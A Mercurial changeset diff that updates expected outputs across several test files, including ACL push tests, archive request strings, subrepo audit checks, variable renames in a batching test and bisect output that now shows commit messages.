b'' diff -r bc268ea9f984 -r f67b8946bb1b tests/test-acl.t --- a/tests/test-acl.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-acl.t Tue Apr 20 11:01:06 2021 -0400 @@ -109,14 +109,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -175,14 +175,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -204,6 +204,7 @@ bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 bundle2-input-bundle: 5 parts total + truncating cache/rbc-revs-v1 to 8 updating the branch cache added 3 changesets with 3 changes to 3 files bundle2-output-bundle: "HG20", 1 parts total @@ -244,14 +245,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -283,6 +284,7 @@ bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 bundle2-input-bundle: 5 parts total + truncating cache/rbc-revs-v1 to 8 updating the branch cache added 3 changesets with 3 changes to 3 files bundle2-output-bundle: "HG20", 1 parts total @@ -323,14 +325,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -359,6 +361,7 @@ bundle2-input-bundle: 5 parts total transaction abort! rollback completed + truncating cache/rbc-revs-v1 to 8 abort: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374") no rollback information available 0:6675d58eff77 @@ -393,14 +396,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -468,14 +471,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -540,14 +543,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -617,14 +620,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -691,14 +694,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -764,7 +767,7 @@ list of changesets: ef1ea85a6374b77d6da9dcda9541f498f2d17df7 bundle2-output-bundle: "HG20", 7 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:bookmarks" 37 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload @@ -773,7 +776,7 @@ bundle2-output-part: "bookmarks" 37 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:bookmarks" supported bundle2-input-part: total payload size 37 bundle2-input-part: "check:phases" supported @@ -853,7 +856,7 @@ list of changesets: ef1ea85a6374b77d6da9dcda9541f498f2d17df7 bundle2-output-bundle: "HG20", 7 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:bookmarks" 37 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload @@ -862,7 +865,7 @@ bundle2-output-part: "bookmarks" 37 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:bookmarks" supported bundle2-input-part: total payload size 37 bundle2-input-part: "check:phases" supported @@ -897,6 +900,7 @@ bundle2-input-bundle: 7 parts total transaction abort! rollback completed + truncating cache/rbc-revs-v1 to 8 abort: acl: user "fred" denied on bookmark "moving-bookmark" (changeset "ef1ea85a6374b77d6da9dcda9541f498f2d17df7") no rollback information available 0:6675d58eff77 @@ -943,14 +947,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1029,14 +1033,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1069,6 +1073,7 @@ bundle2-input-bundle: 5 parts total transaction abort! rollback completed + truncating cache/rbc-revs-v1 to 8 abort: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae") no rollback information available 0:6675d58eff77 @@ -1112,14 +1117,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1190,14 +1195,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1279,14 +1284,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1369,14 +1374,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1408,6 +1413,7 @@ bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 bundle2-input-bundle: 5 parts total + truncating cache/rbc-revs-v1 to 8 updating the branch cache added 3 changesets with 3 changes to 3 files bundle2-output-bundle: "HG20", 1 parts total @@ -1455,14 +1461,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1493,6 +1499,7 @@ bundle2-input-bundle: 5 parts total transaction abort! rollback completed + truncating cache/rbc-revs-v1 to 8 abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8") no rollback information available 0:6675d58eff77 @@ -1537,14 +1544,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1624,14 +1631,14 @@ f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd 911600dab2ae7a9baff75958b84fe606851ce955 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 24 bundle2-input-part: "check:updated-heads" supported @@ -1664,6 +1671,7 @@ bundle2-input-bundle: 5 parts total transaction abort! rollback completed + truncating cache/rbc-revs-v1 to 8 abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8") no rollback information available 0:6675d58eff77 @@ -1746,14 +1754,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -1833,14 +1841,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -1911,14 +1919,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -1985,14 +1993,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -2053,14 +2061,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -2145,14 +2153,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -2236,14 +2244,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -2309,14 +2317,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported @@ -2394,14 +2402,14 @@ 911600dab2ae7a9baff75958b84fe606851ce955 e8fc755d4d8217ee5b0c2bb41558c40d43b92c01 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 48 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 48 bytes payload bundle2-input-bundle: with-transaction bundle2-input-part: "replycaps" supported - bundle2-input-part: total payload size 224 + bundle2-input-part: total payload size 207 bundle2-input-part: "check:phases" supported bundle2-input-part: total payload size 48 bundle2-input-part: "check:updated-heads" supported diff -r bc268ea9f984 -r f67b8946bb1b tests/test-archive.t --- a/tests/test-archive.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-archive.t Tue Apr 20 11:01:06 2021 -0400 @@ -334,10 +334,10 @@ > pass > if len(sys.argv) <= 3: > node, archive = sys.argv[1:] - > requeststr = 'cmd=archive;node=%s;type=%s' % (node, archive) + > requeststr = 'cmd=archive&node=%s&type=%s' % (node, archive) > else: > node, archive, file = sys.argv[1:] - > requeststr = 'cmd=archive;node=%s;type=%s;file=%s' % (node, archive, file) + > requeststr = 'cmd=archive&node=%s&type=%s&file=%s' % (node, archive, file) > try: > stdout = sys.stdout.buffer > except AttributeError: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-audit-subrepo.t --- a/tests/test-audit-subrepo.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-audit-subrepo.t Tue Apr 20 11:01:06 2021 -0400 @@ -323,7 +323,7 @@ new changesets 7a2f0e59146f .hgsubstate: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ cat main5/.hg/hgrc | grep pwned [1] @@ -623,7 +623,7 @@ new changesets * (glob) .hgsubstate: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ ls "$FAKEHOME" a $ test -d "$FAKEHOME/.hg" @@ -652,7 +652,7 @@ new changesets * (glob) .hgsubstate: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ ls -A "$FAKEHOME" .hg a diff -r bc268ea9f984 -r f67b8946bb1b tests/test-backout.t --- a/tests/test-backout.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-backout.t Tue Apr 20 11:01:06 2021 -0400 @@ -718,6 +718,7 @@ ancestor path: foo (node f89532f44c247a0e993d63e3a734dd781ab04708) other path: foo (node f50039b486d6fa1a90ae51778388cad161f425ee) extra: ancestorlinknode = 91360952243723bd5b1138d5f26bd8c8564cb553 + extra: merged = yes $ mv .hg/merge/state2 .hg/merge/state2-moved $ hg debugmergestate -v no version 2 merge state diff -r bc268ea9f984 -r f67b8946bb1b tests/test-batching.py --- a/tests/test-batching.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-batching.py Tue Apr 20 11:01:06 2021 -0400 @@ -204,7 +204,7 @@ @wireprotov1peer.batchable def foo(self, one, two=None): - encargs = [ + encoded_args = [ ( b'one', mangle(one), @@ -214,9 +214,9 @@ mangle(two), ), ] - encresref = wireprotov1peer.future() - yield encargs, encresref - yield unmangle(encresref.value) + encoded_res_future = wireprotov1peer.future() + yield encoded_args, encoded_res_future + yield unmangle(encoded_res_future.value) @wireprotov1peer.batchable def bar(self, b, a): diff -r bc268ea9f984 -r f67b8946bb1b tests/test-bisect.t --- a/tests/test-bisect.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-bisect.t Tue Apr 20 11:01:06 2021 -0400 @@ -200,25 +200,25 @@ update: (current) phases: 32 draft $ hg bisect -g 1 - Testing changeset 16:a2e6ea4973e9 (30 changesets remaining, ~4 tests) + Testing changeset 16:a2e6ea4973e9 "msg 16" (30 changesets remaining, ~4 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 23:5ec79163bff4 (15 changesets remaining, ~3 tests) + Testing changeset 23:5ec79163bff4 "msg 23" (15 changesets remaining, ~3 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved skip $ hg bisect -s - Testing changeset 24:10e0acd3809e (15 changesets remaining, ~3 tests) + Testing changeset 24:10e0acd3809e "msg 24" (15 changesets remaining, ~3 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 27:288867a866e9 (7 changesets remaining, ~2 tests) + Testing changeset 27:288867a866e9 "msg 27" (7 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 29:b5bd63375ab9 (4 changesets remaining, ~2 tests) + Testing changeset 29:b5bd63375ab9 "msg 29" (4 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -b - Testing changeset 28:8e0c2264c8af (2 changesets remaining, ~1 tests) + Testing changeset 28:8e0c2264c8af "msg 28" (2 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g The first bad revision is: @@ -234,7 +234,7 @@ $ hg bisect -b "0::3" $ hg bisect -s "13::16" $ hg bisect -g "26::tip" - Testing changeset 12:1941b52820a5 (23 changesets remaining, ~4 tests) + Testing changeset 12:1941b52820a5 "msg 12" (23 changesets remaining, ~4 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ cat .hg/bisect.state bad b99c7b9c8e11558adef3fad9af211c58d46f325b @@ -258,25 +258,25 @@ $ hg bisect -r $ hg bisect -b null $ hg bisect -g tip - Testing changeset 15:e7fa0811edb0 (32 changesets remaining, ~5 tests) + Testing changeset 15:e7fa0811edb0 "msg 15" (32 changesets remaining, ~5 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 7:03750880c6b5 (16 changesets remaining, ~4 tests) + Testing changeset 7:03750880c6b5 "msg 7" (16 changesets remaining, ~4 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved skip $ hg bisect -s - Testing changeset 6:a3d5c6fdf0d3 (16 changesets remaining, ~4 tests) + Testing changeset 6:a3d5c6fdf0d3 "msg 6" (16 changesets remaining, ~4 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 2:db07c04beaca (7 changesets remaining, ~2 tests) + Testing changeset 2:db07c04beaca "msg 2" (7 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g - Testing changeset 0:b99c7b9c8e11 (3 changesets remaining, ~1 tests) + Testing changeset 0:b99c7b9c8e11 "msg 0" (3 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -b - Testing changeset 1:5cd978ea5149 (2 changesets remaining, ~1 tests) + Testing changeset 1:5cd978ea5149 "msg 1" (2 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g The first good revision is: @@ -295,7 +295,7 @@ $ hg bisect -r $ hg bisect -g null $ hg bisect -bU tip - Testing changeset 15:e7fa0811edb0 (32 changesets remaining, ~5 tests) + Testing changeset 15:e7fa0811edb0 "msg 15" (32 changesets remaining, ~5 tests) $ hg id 5cd978ea5149 @@ -306,13 +306,13 @@ $ hg bisect -r $ 